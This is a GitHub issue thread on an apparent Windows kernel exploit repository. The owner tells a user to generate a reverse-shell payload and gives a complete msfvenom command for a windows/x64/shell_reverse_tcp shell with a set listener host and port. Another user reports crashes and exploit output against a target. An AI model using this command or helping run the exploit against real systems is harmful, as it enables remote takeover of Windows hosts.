Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

which port should I listen on my computer? #7

Open
IMnewer opened this issue Jun 4, 2020 · 5 comments
Open

which port should I listen on my computer? #7

IMnewer opened this issue Jun 4, 2020 · 5 comments

Comments

@IMnewer
Copy link

IMnewer commented Jun 4, 2020

which port should I listen on my computer?
default is 4444?

@chompie1337
Copy link
Owner

chompie1337 commented Jun 4, 2020

The exploit has no knowledge of your IP, you must replace the USER_PAYLOAD portion in exploit.py with your own payload.

If you want a reverse shell, you can use msfvenom to generate one. Ex:
msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.213.1 LPORT=31337 -f python

msfvenom come standards on Kali Linux which you can download from here:
https://www.kali.org/downloads/

Ready made VMs can be downloaded from here:
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

@IMnewer
Copy link
Author

IMnewer commented Jun 4, 2020

OK, Thranks!

@dickens88
Copy link

i tried, but only got bule screen ...

my target windows is version win10 1903 (os build 18362.719)

@chompie1337
Copy link
Owner

i tried, but only got bule screen ...

my target windows is version win10 1903 (os build 18362.719)

try it again, 2-3x, and if you can please report the stop code. thank you

@dickens88
Copy link

@chompie1337 i turned to another win10 1903 (os build 19362.356) and tried again, this time it didn't show bule screen. but the poc shows the following information:

# python3 exploit.py -ip 192.168.134.38
[+] found low stub at phys addr 12000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff785c0000000
[+] found PML4 self-ref entry 14b
[-] failed to find HalpInterruptController!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants